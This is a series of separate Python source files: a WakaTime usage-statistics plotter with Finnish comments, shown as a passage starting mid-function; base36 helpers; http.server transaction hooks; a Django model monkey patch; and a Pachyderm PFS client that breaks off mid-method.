if language["name"] not in searched_stats:
continue
elif language["name"] not in languages:
languages[language["name"]] = []
#Editorit
if editors is not None:
for editor in day["editors"]:
if len(searched_stats) == 0:
if editor["name"] in ignored_stats:
continue
elif editor["name"] not in editors:
editors[editor["name"]] = []
else:
if editor["name"] not in searched_stats:
continue
elif editor["name"] not in editors:
editors[editor["name"]] = []
#Käyttöjärjestelmät
if operating_systems is not None:
for operating_system in day["operating_systems"]:
if len(searched_stats) == 0:
if operating_system["name"] in ignored_stats:
continue
elif operating_system["name"] not in operating_systems:
operating_systems[operating_system["name"]] = []
else:
if operating_system["name"] not in searched_stats:
continue
elif operating_system["name"] not in operating_systems:
operating_systems[operating_system["name"]] = []
class LanguagesStats(Stats):
'''Aliluokka, joka sisältää tiedot eri ohjelmointikielistä.'''
def __init__(self):
self.languages = {}
self.keys = []
self.total_times = []
def populate_stats(self, data):
'''Lisää kielten tiedot hakurakenteeseen.
Parametrit:
data -- JSON-tiedostosta luetut tiedot.
'''
#Kuinka monen päivän tiedot on lisätty kieliin
number_of_days = 0
#Käydään läpi kaikki päivät
for day in data["days"]:
#Ohitetaan päivä käyttäjän antamista argumenteista riippuen
if day["date"] < str(start_date):
continue
elif day["date"] > str(end_date):
continue
number_of_days += 1
#Jos päivälle ei löydy tietoja kielistä
if len(day["languages"]) == 0:
#Lisätään kaikkiin ohjelmointikieliin nolla tuntia kyseiselle päivälle
for language in self.languages:
self.languages[language].append(0.0)
#Jos päivälle löytyy tietoja kielistä
else:
#Käydään läpi kaikki kielet
for language in day["languages"]:
#Ohitetaan kieli käyttäjän halutessa
if len(searched_stats) == 0:
if language["name"] in ignored_stats:
continue
else:
if language["name"] not in searched_stats:
continue
#Lisätään kieleen kyseisen päivän tiedot tunneiksi muutettuna
self.languages[language["name"]].append(Stats.seconds_to_hours(language["total_seconds"]))
#Käydään läpi kaikki kielet
for language in self.languages:
#Jos kielen tiedoista puuttuu päivä, lisätään nolla tuntia kyseiselle päivälle
if len(self.languages[language]) < number_of_days:
self.languages[language].append(0.0)
def sort_stats_and_populate_keys(self):
'''Järjestää tiedot eniten käytetystä vähiten käytettyyn ja täyttää avaimet oikeassa järjestyksessä.'''
total_hours = 0
#Käydään läpi kielet
for language in self.languages:
#Lasketaan kielen päivittäiset ajat yhteen
hours = sum(self.languages[language])
#Lisätään aika kokonaisaikaan
total_hours += hours
#Lisätään kokonaisaika ja avain listoihin
self.total_times.append(hours)
self.keys.append(language)
if minimum_labeling_percentage != 0.0:
self.unify_stats()
#Muutetaan järjestys eniten käytetystä vähiten käytettyyn, muuttuvat tupleiksi
self.total_times, self.keys = zip(*sorted(zip(self.total_times, self.keys), reverse=True))
def unify_stats(self):
'''Yhdistää tiedot otsikon Other alle tietyn raja-arvon mukaisesti.'''
removed_at_indexes = []
#Lisätään tarvittaessa otsikko Other
if "Other" not in self.keys:
self.keys.append("Other")
self.total_times.append(0.0)
self.languages["Other"] = [0.0 for value in self.languages[self.keys[0]]]
#Lisätään raja-arvon alittavat osuudet Otheriin
for index, total_time in enumerate(self.total_times):
if self.keys[index] == "Other":
continue
elif total_time / sum(self.total_times) * 100.0 < minimum_labeling_percentage:
self.languages["Other"] = np.add(self.languages["Other"], self.languages[self.keys[index]]).tolist()
self.total_times[self.keys.index("Other")] += self.total_times[index]
removed_at_indexes.append(index)
#Poistetaan Other-otsikko ja sen tiedot, jos se on turha, ja poistutaan metodista
if len(removed_at_indexes) == 0:
del(self.total_times[self.keys.index("Other")])
del(self.languages["Other"])
self.keys.remove("Other")
return
#Poistetaan Otheriin yhdistettyjen tietojen päivittäiset tiedot, otsikot ja kokonaisajat
for index in reversed(removed_at_indexes):
del(self.languages[self.keys[index]])
del(self.keys[index])
del(self.total_times[index])
class EditorsStats(Stats):
'''Aliluokka, joka sisältää tiedot eri editoreille.'''
def __init__(self):
self.editors = {}
self.keys = []
self.total_times = []
def populate_stats(self, data):
'''Lisää editorien tiedot hakurakenteeseen.
Parametrit:
data -- JSON-tiedostosta luetut tiedot.
'''
#Kuinka monen päivän tiedot on lisätty editoreihin
number_of_days = 0
#Käydään läpi kaikki päivät
for day in data["days"]:
#Ohitetaan päivä käyttäjän antamista argumenteista riippuen
if day["date"] < str(start_date):
continue
elif day["date"] > str(end_date):
continue
number_of_days += 1
#Jos päivälle ei löydy tietoja editoreista
if len(day["editors"]) == 0:
#Lisätään kaikkiin editoreihin nolla tuntia kyseiselle päivälle
for editor in self.editors:
self.editors[editor].append(0.0)
#Jos päivälle löytyy tietoja editoreista
else:
#Käydään läpi kaikki editorit
for editor in day["editors"]:
#Ohitetaan editori käyttäjän halutessa
if len(searched_stats) == 0:
if editor["name"] in ignored_stats:
continue
else:
if editor["name"] not in searched_stats:
continue
#Lisätään editoriin kyseisen päivän tiedot tunneiksi muutettuna
self.editors[editor["name"]].append(Stats.seconds_to_hours(editor["total_seconds"]))
#Käydään läpi kaikki editorit
for editor in self.editors:
#Jos editorin tiedoista puuttuu päivä, lisätään nolla tuntia kyseiselle päivälle
if len(self.editors[editor]) < number_of_days:
self.editors[editor].append(0.0)
def sort_stats_and_populate_keys(self):
'''Järjestää tiedot eniten käytetystä vähiten käytettyyn ja täyttää avaimet oikeassa järjestyksessä.'''
total_hours = 0
#Käydään läpi editorit
for editor in self.editors:
#Lasketaan editorin päivittäiset ajat yhteen
hours = sum(self.editors[editor])
#Lisätään aika kokonaisaikaan
total_hours += hours
#Lisätään kokonaisaika ja avain listoihin
self.total_times.append(hours)
self.keys.append(editor)
if minimum_labeling_percentage != 0.0:
self.unify_stats()
#Muutetaan järjestys eniten käytetystä vähiten käytettyyn, muuttuvat tupleiksi
self.total_times, self.keys = zip(*sorted(zip(self.total_times, self.keys), reverse=True))
def unify_stats(self):
'''Yhdistää tiedot otsikon Other alle tietyn raja-arvon mukaisesti.'''
removed_at_indexes = []
#Lisätään tarvittaessa otsikko Other
if "Other" not in self.keys:
self.keys.append("Other")
self.total_times.append(0.0)
self.editors["Other"] = [0.0 for value in self.editors[self.keys[0]]]
#Lisätään raja-arvon alittavat osuudet Otheriin
for index, total_time in enumerate(self.total_times):
if self.keys[index] == "Other":
continue
elif total_time / sum(self.total_times) * 100.0 < minimum_labeling_percentage:
self.editors["Other"] = np.add(self.editors["Other"], self.editors[self.keys[index]]).tolist()
self.total_times[self.keys.index("Other")] += self.total_times[index]
removed_at_indexes.append(index)
#Poistetaan Other-otsikko ja sen tiedot, jos se on turha, ja poistutaan metodista
if len(removed_at_indexes) == 0:
del(self.total_times[self.keys.index("Other")])
del(self.editors["Other"])
self.keys.remove("Other")
return
#Poistetaan Otheriin yhdistettyjen tietojen päivittäiset tiedot, otsikot ja kokonaisajat
for index in reversed(removed_at_indexes):
del(self.editors[self.keys[index]])
del(self.keys[index])
del(self.total_times[index])
class OperatingSystemsStats(Stats):
'''Aliluokka, joka sisältää tiedot eri käyttöjärjestelmille.'''
def __init__(self):
self.operating_systems = {}
self.keys = []
self.total_times = []
def populate_stats(self, data):
'''Lisää käyttöjärjestelmien tiedot hakurakenteeseen.
Parametrit:
data -- JSON-tiedostosta luetut tiedot.
'''
#Kuinka monen päivän tiedot on lisätty käyttöjärjestelmiin
number_of_days = 0
#Käydään läpi kaikki päivät
for day in data["days"]:
#Ohitetaan päivä käyttäjän antamista argumenteista riippuen
if day["date"] < str(start_date):
continue
elif day["date"] > str(end_date):
continue
number_of_days += 1
#Jos päivälle ei löydy tietoja käyttöjärjestelmistä
if len(day["operating_systems"]) == 0:
#Lisätään kaikkiin käyttöjärjestelmiin nolla tuntia kyseiselle päivälle
for operating_system in self.operating_systems:
self.operating_systems[operating_system].append(0.0)
#Jos päivälle löytyy tietoja käyttöjärjestelmistä
else:
#Käydään läpi kaikki käyttöjärjestelmät
for operating_system in day["operating_systems"]:
#Ohitetaan käyttöjärjestelmä käyttäjän halutessa
if len(searched_stats) == 0:
if operating_system["name"] in ignored_stats:
continue
else:
if operating_system["name"] not in searched_stats:
continue
#Lisätään käyttöjärjestelmään kyseisen päivän tiedot tunneiksi muutettuna
self.operating_systems[operating_system["name"]].append(Stats.seconds_to_hours(operating_system["total_seconds"]))
#Käydään läpi kaikki käyttöjärjestelmät
for operating_system in self.operating_systems:
#Jos käyttöjärjestelmän tiedoista puuttuu päivä, lisätään nolla tuntia kyseiselle päivälle
if len(self.operating_systems[operating_system]) < number_of_days:
self.operating_systems[operating_system].append(0.0)
def sort_stats_and_populate_keys(self):
'''Järjestää tiedot eniten käytetystä vähiten käytettyyn ja täyttää avaimet oikeassa järjestyksessä.'''
total_hours = 0
#Käydään läpi käyttöjärjestelmät
for operating_system in self.operating_systems:
#Lasketaan käyttöjärjestelmän päivittäiset ajat yhteen
hours = sum(self.operating_systems[operating_system])
#Lisätään aika kokonaisaikaan
total_hours += hours
#Lisätään kokonaisaika ja avain listoihin
self.total_times.append(hours)
self.keys.append(operating_system)
if minimum_labeling_percentage != 0.0:
self.unify_stats()
#Muutetaan järjestys eniten käytetystä vähiten käytettyyn, muuttuvat tupleiksi
self.total_times, self.keys = zip(*sorted(zip(self.total_times, self.keys), reverse=True))
def unify_stats(self):
'''Yhdistää tiedot otsikon Other alle tietyn raja-arvon mukaisesti.'''
removed_at_indexes = []
#Lisätään tarvittaessa otsikko Other
if "Other" not in self.keys:
self.keys.append("Other")
self.total_times.append(0.0)
self.operating_systems["Other"] = [0.0 for value in self.operating_systems[self.keys[0]]]
#Lisätään raja-arvon alittavat osuudet Otheriin
for index, total_time in enumerate(self.total_times):
if self.keys[index] == "Other":
continue
elif total_time / sum(self.total_times) * 100.0 < minimum_labeling_percentage:
self.operating_systems["Other"] = np.add(self.operating_systems["Other"], self.operating_systems[self.keys[index]]).tolist()
self.total_times[self.keys.index("Other")] += self.total_times[index]
removed_at_indexes.append(index)
#Poistetaan Other-otsikko ja sen tiedot, jos se on turha, ja poistutaan metodista
if len(removed_at_indexes) == 0:
del(self.total_times[self.keys.index("Other")])
del(self.operating_systems["Other"])
self.keys.remove("Other")
return
#Poistetaan Otheriin yhdistettyjen tietojen päivittäiset tiedot, otsikot ja kokonaisajat
for index in reversed(removed_at_indexes):
del(self.operating_systems[self.keys[index]])
del(self.keys[index])
del(self.total_times[index])
#Piirretään kuvaajat
def draw_graph(days, keys, datasets, colors_file_path):
with open(colors_file_path, "r") as colors_file:
colors_data = yaml.safe_load(colors_file)
fig = go.Figure()
#Käydään läpi kaikki tiedot
for key in keys:
try:
fig.add_trace(go.Scatter(x=days, y=datasets[key], mode="lines", name=key, marker=dict(color=colors_data[key]["color"])))
except Exception:
fig.add_trace(go.Scatter(x=days, y=datasets[key], mode="lines", name=key, marker=dict(color=colors_data["Other"]["color"])))
fig.update_layout(yaxis_title="t (h)", plot_bgcolor="white")
fig.update_xaxes(showline=True, linewidth=1, linecolor="black", mirror=True)
fig.update_yaxes(showline=True, linewidth=1, linecolor="black", mirror=True)
fig.show()
#Piirretään ympyrädiagrammi
def draw_pie_chart(keys, total_times, colors_file_path):
labels = []
colors = []
total_hours = 0
with open(colors_file_path, "r") as colors_file:
colors_data = yaml.safe_load(colors_file)
#Käydään läpi kaikki tiedot
for index, key in enumerate(keys):
hours = total_times[index]
#Lisätään aika kokonaisaikaan
total_hours += hours
#Lisätään otsikko listoihin
labels.append(key + " - {0} h {1} min".format(int(hours), int((hours - int(hours)) * 60)))
try:
colors.append(colors_data[key]["color"])
except Exception:
colors.append(colors_data["Other"]["color"])
#Lisätään prosenttiosuudet selitteeseen
for index, time in enumerate(total_times):
labels[index] += " ({0:.2f} %)".format(total_times[index] / total_hours * 100)
#Piirretään ympyrädiagrammi
fig = px.pie(names=labels, values=total_times, color_discrete_sequence=colors)
fig.update_traces(marker=dict(line=dict(color="black", width=0.5)), textinfo="none", hovertemplate=labels)
fig.show()
#Varsinainen ohjelma
if __name__ == "__main__":
#Valmistellaan argumenttien lukeminen
parser = argparse.ArgumentParser(
description="You can use this program to show your statistics from WakaTime.",
usage="python WakaFree.py {-h | -G | [-g GRAPHS] [-t TOTALS] [{-i IGNORE | -s SEARCH}] [-m MINIMUM_LABELING_PERCENTAGE] [--start-date START_DATE] [--end-date END_DATE] FILE}")
parser.add_argument("file", metavar="FILE", nargs="?", default="", help="path to file with statistics")
parser.add_argument("-G", "--gui", action="store_true", help="use graphical user interface")
parser.add_argument("-g", "--graphs", help="show daily statistics: string with l, e, o for languages, editors, operating systems")
parser.add_argument("-t", "--totals", help="show total times: string with l, e, o for languages, editors, operating systems")
parser.add_argument("-i", "--ignore", help="ignored stats: string with labels separated by commas (without spaces)")
parser.add_argument("-s", "--search", help="stats to search for: string with labels separated by commas (without spaces)")
parser.add_argument("-m", "--minimum-labeling-percentage", help="add together (under label Other) stats with lesser percentage than the given value")
parser.add_argument("--start-date", help="start date in format YYYY-MM-DD (inclusive)")
parser.add_argument("--end-date", help="end date in format YYYY-MM-DD (inclusive)")
#Luetaan argumentit
args = parser.parse_args()
file_name = args.file if args.file else ""
graphs = args.graphs if args.graphs else ""
totals = args.totals if args.totals else ""
ignored_stats = args.ignore.split(",") if args.ignore else []
searched_stats = args.search.split(",") if args.search else []
minimum_labeling_percentage = float(args.minimum_labeling_percentage) if args.minimum_labeling_percentage else 0.0
start_date = datetime(int(args.start_date[0:4]), int(args.start_date[5:7]), int(args.start_date[8:10])).date() if args.start_date else datetime(1, 1, 1).date()
end_date = datetime(int(args.end_date[0:4]), int(args.end_date[5:7]), int(args.end_date[8:10])).date() if args.end_date else datetime(9999, 12, 31).date()
#Jos käyttäjä haluaa graafisen käyttöliittymän
if args.gui:
try:
ctypes.windll.shcore.SetProcessDpiAwareness(True)
except:
pass
help_file = "The file that contains your statistics."
help_graphs = "Daily statistics."
help_totals = "Total times."
help_ignore = "Ignored stats. Labels separated by commas and nothing more."
help_search = "Stats to search for. Labels separated by commas and nothing more.\nIf nothing is entered then all the stats in the given file will be read."
help_minimum_labeling_percentage = "Inclusive lover limit for labeling the stats.\nEverything under this percentage will be moved to the group Other."
help_start_date = "Start date in format YYYY-MM-DD. Inclusive.\nIf no date is entered then the stats will be drawn from the very beginning."
help_end_date = "End date in format YYYY-MM-DD. Inclusive.\nIf no date is entered then the stats will be drawn to the very end."
layout = [
[sg.Text("Hover over a variable name to get help.")],
[sg.HorizontalSeparator()],
[sg.Text("File*", tooltip=help_file), sg.InputText(key="input_file"), sg.FileBrowse(file_types=(("JSON Files", "*.json"),))],
[
sg.Text("Graphs", tooltip=help_graphs),
sg.Checkbox("Languages", default=True, key="input_graphs_l"),
sg.Checkbox("Editors", default=True, key="input_graphs_e"),
sg.Checkbox("Operating systems", default=True, key="input_graphs_o")
],
[
sg.Text("Totals", tooltip=help_totals),
sg.Checkbox("Languages", default=True, key="input_totals_l"),
sg.Checkbox("Editors", default=True, key="input_totals_e"),
sg.Checkbox("Operating systems", default=True, key="input_totals_o")
],
[sg.Text("Ignore**", tooltip=help_ignore), sg.InputText(key="input_ignore"), sg.Text("or"), sg.Text("Search**", tooltip=help_search), sg.InputText(key="input_search")],
[sg.Text("Minimum labeling percentage", tooltip=help_minimum_labeling_percentage), sg.InputText("0.0", key="input_minimum_labeling_percentage"), sg.Text("%")],
[sg.Text("Start date", tooltip=help_start_date), sg.InputText("YYYY-MM-DD", key="input_start_date"), sg.CalendarButton("Calendar", format="%Y-%m-%d")],
[sg.Text("End date", tooltip=help_end_date), sg.InputText("YYYY-MM-DD", key="input_end_date"), sg.CalendarButton("Calendar", format="%Y-%m-%d")],
[sg.OK()],
[sg.HorizontalSeparator()],
[sg.Text("* Required.")],
[sg.Text("** Labels separated by commas only.")]
]
window = sg.Window("WakaFree", layout)
while True:
event, values = window.read()
if event in (sg.WIN_CLOSED, "Cancel"):
break
elif event == "OK":
file_name = values["input_file"]
graphs += "l" if values["input_graphs_l"] else ""
graphs += "e" if values["input_graphs_e"] else ""
graphs += "o" if values["input_graphs_o"] else ""
totals += "l" if values["input_totals_l"] else ""
totals += "e" if values["input_totals_e"] else ""
totals += "o" if values["input_totals_o"] else ""
ignored_stats = values["input_ignore"].split(",") if values["input_ignore"] != "" else []
searched_stats = values["input_search"].split(",") if values["input_search"] != "" else []
minimum_labeling_percentage = float(values["input_minimum_labeling_percentage"])
try:
start_date = datetime(int(values["input_start_date"][0:4]), int(values["input_start_date"][5:7]), int(values["input_start_date"][8:10])).date()
except:
start_date = datetime(1, 1, 1).date()
try:
end_date = datetime(int(values["input_end_date"][0:4]), int(values["input_end_date"][5:7]), int(values["input_end_date"][8:10])).date()
except:
end_date = datetime(9999, 12, 31).date()
break
window.close()
#Jos käyttäjä ei antanut kumpaakaan valinnaista argumenttia piirtämiseen
if graphs == "" and totals == "":
graphs = "leo"
totals = "leo"
#Jos käyttäjä antaa tiedoston
if file_name != "":
#Avataan tiedosto
with open(file_name, "r") as file:
#Projektin hakemisto
project_directory = os.path.dirname(__file__)
#Luodaan oliot tietoja varten
languages = LanguagesStats()
editors = EditorsStats()
operating_systems = OperatingSystemsStats()
#Haetaan tiedot
data = json.load(file)
#Valmistellaan tietojen lukeminen
Stats.fetch_days_and_labels(
data,
languages=languages.languages if "l" in (graphs + totals).lower() else None,
editors=editors.editors if "e" in (graphs + totals).lower() else None,
operating_systems=operating_systems.operating_systems if "o" in (graphs + totals).lower() else None,
ignored_stats=ignored_stats, searched_stats=searched_stats)
#Muunnetaan päivämäärät oikeaan muotoon
Stats.convert_dates()
#Haetaan halutut tiedot
if "l" in (graphs + totals).lower():
languages.populate_stats(data)
languages.sort_stats_and_populate_keys()
if "e" in (graphs + totals).lower():
editors.populate_stats(data)
editors.sort_stats_and_populate_keys()
if "o" in (graphs + totals).lower():
operating_systems.populate_stats(data)
operating_systems.sort_stats_and_populate_keys()
#Jos käyttäjä haluaa piirtää kuvaajat
if graphs != "" or (graphs == "" and totals == ""):
#Kielten kuvaajat
if "l" in graphs.lower():
draw_graph(Stats.days, languages.keys, languages.languages, os.path.join(project_directory, "Colors/languages_colors.yml"))
#Editorien kuvaajat
if "e" in graphs.lower():
draw_graph(Stats.days, editors.keys, editors.editors, os.path.join(project_directory, "Colors/editors_colors.yml"))
#Käyttöjärjestelmien kuvaajat
if "o" in graphs.lower():
draw_graph(Stats.days, operating_systems.keys, operating_systems.operating_systems, os.path.join(project_directory, "Colors/operating_systems_colors.yml"))
#Jos käyttäjä haluaa näyttää kokonaisajat
if totals != "" or (graphs == "" and totals == ""):
#Kielten kokonaisajat
if "l" in totals.lower():
draw_pie_chart(languages.keys, languages.total_times, os.path.join(project_directory, "Colors/languages_colors.yml"))
#Editorien kokonaisajat
if "e" in totals.lower():
draw_pie_chart(editors.keys, editors.total_times, os.path.join(project_directory, "Colors/editors_colors.yml"))
#Käyttöjärjestelmien kokonaisajat
if "o" in totals.lower():
draw_pie_chart(operating_systems.keys, operating_systems.total_times, os.path.join(project_directory, "Colors/operating_systems_colors.yml"))
#Jos käyttäjä ei antanut tiedostoa tai mitään vaihtoehtoista argumenttia
else:
if not args.gui:
print("\nYou did not specify what you would like to do. To get help, try using either of the following commands:\n\npython WakaFree.py -h\npython WakaFree.py --help") | python |
from keg_elements.extensions import lazy_gettext as _
def base36_to_int(s):
"""
Convert a base 36 string to an int. Raise ValueError if the input won't fit
into an int.
https://git.io/vydSi
"""
# To prevent overconsumption of server resources, reject any
# base36 string that is longer than 13 base36 digits (13 digits
# is sufficient to base36-encode any 64-bit integer)
if len(s) > 13:
raise ValueError(_("Base36 input too large"))
return int(s, 36)
def int_to_base36(i):
"""Convert an integer to a base36 string.
https://git.io/vydS1
"""
char_set = '0123456789abcdefghijklmnopqrstuvwxyz'
if i < 0:
raise ValueError(_("Negative base36 conversion input."))
if i < 36:
return char_set[i]
b36 = ''
while i != 0:
i, n = divmod(i, 36)
b36 = char_set[n] + b36
return b36
| python |
from ..data.context import setCurTxn, getCurTxn
from ..data.txn import Transaction
from ..constants import classNameKey, methodNameKey, preHookKey, postHookKey
def captureTxn(args, kwargs):
txn = Transaction()
setCurTxn(txn)
def endTxn(args, kwargs):
txn = getCurTxn()
if txn is None or args is None:
return
if len(args) <= 0:
return
obj = args[0]
if obj is None:
return
if hasattr(obj,'path'):
txn.setUrl(getattr(obj,'path'))
if hasattr(obj,'command'):
txn.setMethod(getattr(obj, 'command'))
txn.end()
def extractStatusCode(args, kwargs):
txn = getCurTxn()
if txn is None or args is None:
return
if len(args) <= 1:
return
txn.setStatus(args[1])
modulesInfo = {
'http.server': [
{
classNameKey: 'BaseHTTPRequestHandler',
methodNameKey: 'handle_one_request',
preHookKey: captureTxn,
postHookKey: endTxn
},
{
classNameKey: 'BaseHTTPRequestHandler',
methodNameKey: 'send_response',
postHookKey: extractStatusCode
}
]
}
| python |
from django.contrib.auth.models import User, Group
from django.db import models
from primer.db.models import UUIDField
# Monkey Patch User Model
User.add_to_class('uuid', UUIDField())
User.add_to_class('created', models.DateTimeField(auto_now_add=True, editable = False, blank = True, null = True))
User.add_to_class('modified', models.DateTimeField(auto_now=True, blank = True, null = True))
# Monkey Patch Group Model
Group.add_to_class('uuid', UUIDField())
Group.add_to_class('created', models.DateTimeField(auto_now_add=True, editable = False, blank = True, null = True))
Group.add_to_class('modified', models.DateTimeField(auto_now=True, blank = True, null = True)) | python |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
import collections
import os
from contextlib import contextmanager
import six
from python_pachyderm.client.pfs.pfs_pb2 import *
from python_pachyderm.client.pfs.pfs_pb2_grpc import *
BUFFER_SIZE = 3 * 1024 * 1024 # 3MB TODO: Base this on some grpc value
class ExtractValueIterator(object):
def __init__(self, r):
self._iter = r
def __iter__(self):
for item in self._iter:
yield item.value
def _commit_from(src, allow_just_repo=False):
if src.__class__.__name__ == "Commit":
return src
elif type(src) in (tuple, list) and len(src) == 2:
return Commit(repo=Repo(name=src[0]), id=src[1])
elif type(src) is str:
repo_name, commit_id = src.split('/', 1)
return Commit(repo=Repo(name=repo_name), id=commit_id)
if not allow_just_repo:
raise ValueError(
"Commit should either be a sequence of [repo, commit_id] or a string in the form 'repo/branch/commit_id")
return Commit(repo=Repo(name=src))
def _make_list(x):
# if `x` is not iterable, put it in a list
if isinstance(x, six.string_types + six.binary_type) or not isinstance(x, collections.Iterable):
x = [x]
return x
def _is_iterator(x):
return hasattr(x, 'next') or hasattr(x, '__next__')
class PfsClient(object):
def __init__(self, host=None, port=None):
"""
Creates a client to connect to Pfs
:param host: The pachd host. Default is 'localhost', which is used with `pachctl port-forward`
:param port: The port to connect to. Default is 30650
"""
# If a host or port is not specified, then try to set using environment variables or use the defaults.
if host is None:
host = os.environ.get('PACHD_SERVICE_HOST', 'localhost')
if port is None:
port = os.environ.get('PACHD_SERVICE_PORT_API_GRPC_PORT', '30650')
self.channel = grpc.insecure_channel('{}:{}'.format(host, port))
self.stub = APIStub(self.channel)
def create_repo(self, repo_name, description=None):
"""
Creates a new Repo object in pfs with the given name. Repos are
the top level data object in pfs and should be used to store data of a
similar type. For example rather than having a single Repo for an entire
project you might have seperate Repos for logs, metrics, database dumps etc.
:param repo_name: Name of the repo
:param description: Repo description
"""
self.stub.CreateRepo(CreateRepoRequest(repo=Repo(name=repo_name), description=description))
def inspect_repo(self, repo_name):
"""
returns info about a specific Repo.
:param repo_name: Name of the repo
:return: A RepoInfo object
"""
return self.stub.InspectRepo(InspectRepoRequest(repo=Repo(name=repo_name)))
def list_repo(self):
"""
Returns info about all Repos.
:param provenance: Optional. Specifies a set of provenance repos where only repos which have ALL of
the specified repos as provenance will be returned.
:return: A list of RepoInfo objects
"""
x = self.stub.ListRepo(ListRepoRequest())
if hasattr(x, 'repo_info'):
return x.repo_info
return []
def delete_repo(self, repo_name=None, force=False, all=False):
"""
Deletes a repo and reclaims the storage space it was using. Note
that as of 1.0 we do not reclaim the blocks that the Repo was referencing,
this is because they may also be referenced by other Repos and deleting them
would make those Repos inaccessible. This will be resolved in later
versions.
:param repo_name: The name of the repo
:param force: if set to true, the repo will be removed regardless of errors.
This argument should be used with care.
:param all: Delete all repos
"""
if not all:
if repo_name:
self.stub.DeleteRepo(DeleteRepoRequest(repo=Repo(name=repo_name), force=force))
else:
raise ValueError("Either a repo_name or all=True needs to be provided")
else:
if not repo_name:
self.stub.DeleteRepo(DeleteRepoRequest(force=force, all=all))
else:
raise ValueError("Cannot specify a repo_name if all=True")
def start_commit(self, repo_name, branch=None, parent=None):
"""
Begins the process of committing data to a Repo. Once started
you can write to the Commit with PutFile and when all the data has been
written you must finish the Commit with FinishCommit. NOTE, data is not
persisted until FinishCommit is called.
:param repo_name: The name of the repo
:param branch: is a more convenient way to build linear chains of commits. When a
commit is started with a non empty branch the value of branch becomes an
alias for the created Commit. This enables a more intuitive access pattern.
When the commit is started on a branch the previous head of the branch is
used as the parent of the commit.
:param parent: specifies the parent Commit, upon creation the new Commit will
appear identical to the parent Commit, data can safely be added to the new
commit without affecting the contents of the parent Commit. You may pass ""
as parentCommit in which case the new Commit will have no parent and will
initially appear empty.
:return: Commit object
"""
return self.stub.StartCommit(StartCommitRequest(parent=Commit(repo=Repo(name=repo_name),
id=parent),
branch=branch))
def finish_commit(self, commit):
"""
Ends the process of committing data to a Repo and persists the
Commit. Once a Commit is finished the data becomes immutable and future
attempts to write to it with PutFile will error.
:param commit: A tuple or string representing the commit
"""
self.stub.FinishCommit(FinishCommitRequest(commit=_commit_from(commit)))
@contextmanager
def commit(self, repo_name, branch=None, parent=None):
"""
A context manager for doing stuff inside a commit
"""
commit = self.start_commit(repo_name, branch, parent)
try:
yield commit
except Exception as e:
print("An exception occurred during an open commit. "
"Trying to finish it (Currently a commit can't be cancelled)")
raise e
finally:
self.finish_commit(commit)
def inspect_commit(self, commit):
"""
returns info about a specific Commit.
:param commit: A tuple or string representing the commit
:return: CommitInfo object
"""
return self.stub.InspectCommit(InspectCommitRequest(commit=_commit_from(commit)))
def provenances_for_repo(self, repo_name):
provenances = {}
commits = self.list_commit(repo_name)
sorted_commits = [x[0] for x in
sorted([(c.commit.id, c.finished.seconds) for c in commits], key=lambda x: x[1])]
for c in sorted_commits:
for p in c.provenance:
provenances[p.id] = c.commit.id
return provenances
def list_commit(self, repo_name, to_commit=None, from_commit=None, number=0):
"""
Lists commits.
:param repo_name: If only `repo_name` is given, all commits in the repo are returned.
:param to_commit: optional. only the ancestors of `to`, including `to` itself,
are considered.
:param from_commit: optional. only the descendents of `from`, including `from`
itself, are considered.
:param number: optional. determines how many commits are returned. If `number` is 0,
all commits that match the aforementioned criteria are returned.
:return: A list of CommitInfo objects
"""
req = ListCommitRequest(repo=Repo(name=repo_name), number=number)
if to_commit is not None:
req.to.CopyFrom(_commit_from(to_commit))
if from_commit is not None:
getattr(req, 'from').CopyFrom(_commit_from(from_commit))
x = self.stub.ListCommit(req)
if hasattr(x, 'commit_info'):
return x.commit_info
return []
def delete_commit(self, commit):
"""
deletes a commit.
Note it is currently not implemented.
:param commit: A tuple or string representing the commit
"""
self.stub.DeleteCommit(DeleteCommitRequest(commit=_commit_from(commit)))
def flush_commit(self, commits, repos=tuple()):
"""
blocks until all of the commits which have a set of commits as
provenance have finished. For commits to be considered they must have all of
the specified commits as provenance. This in effect waits for all of the
jobs that are triggered by a set of commits to complete.
It returns an error if any of the commits it's waiting on are cancelled due
to one of the jobs encountering an error during runtime.
Note that it's never necessary to call FlushCommit to run jobs, they'll run
no matter what, FlushCommit just allows you to wait for them to complete and
see their output once they do.
:param commits: A commit or a list of commits to wait on
:param repos: Optional. Only the commits up to and including those repos
will be considered, otherwise all repos are considered.
:return: An iterator of CommitInfo objects
"""
return self.stub.FlushCommit(FlushCommitRequest(commit=[_commit_from(c) for c in commits],
to_repo=[Repo(name=r) for r in repos]))
def subscribe_commit(self, repo_name, branch, from_commit_id=None):
"""
SubscribeCommit is like ListCommit but it keeps listening for commits as
they come in.
:param repo_name: Name of the repo
:param branch: Branch to subscribe to
:param from_commit_id: Optional. only commits created since this commit are returned
:return: Iterator of Commit objects
"""
repo = Repo(name=repo_name)
req = SubscribeCommitRequest(repo=repo, branch=branch)
if from_commit_id is not None:
getattr(req, 'from').CopyFrom(Commit(repo=repo, id=from_commit_id))
return self.stub.SubscribeCommit(req)
def list_branch(self, repo_name):
"""
lists the active branches on a Repo
:param repo_name: The name of the repo
:return: A list of Branch objects
"""
x = self.stub.ListBranch(ListBranchRequest(repo=Repo(name=repo_name)))
if hasattr(x, 'branch_info'):
return x.branch_info
return []
def set_branch(self, commit, branch_name):
"""
sets a commit and its ancestors as a branch
:param commit: A tuple or string representing the commit
:param branch_name: The name for the branch to set
"""
self.stub.SetBranch(SetBranchRequest(commit=_commit_from(commit),
branch=branch_name))
def delete_branch(self, repo_name, branch_name):
"""
deletes a branch, but leaves the commits themselves intact.
In other words, those commits can still be accessed via commit IDs and
other branches they happen to be on.
:param repo_name: The name of the repo
:param branch_name: The name of the branch to delete
"""
self.stub.DeleteBranch(DeleteBranchRequest(repo=Repo(name=repo_name),
branch=branch_name))
def put_file_bytes(self, commit, path, value, delimiter=NONE,
target_file_datums=0, target_file_bytes=0):
"""
Uploads a binary bytes array as file(s) in a certain path
:param commit: A tuple or string representing the commit
:param path: Path in the repo the file(s) will be written to
:param value: The data bytes array, or an iterator returning chunked byte arrays
:param delimiter: Optional. causes data to be broken up into separate files with `path`
as a prefix.
:param target_file_datums: Optional. specifies the target number of datums in each written
file it may be lower if data does not split evenly, but will never be
higher, unless the value is 0.
:param target_file_bytes: specifies the target number of bytes in each written
file, files may have more or fewer bytes than the target.
"""
if _is_iterator(value):
def _wrap(v):
for x in v:
yield PutFileRequest(file=File(commit=_commit_from(commit), path=path),
value=x,
delimiter=delimiter,
target_file_datums=target_file_datums,
target_file_bytes=target_file_bytes)
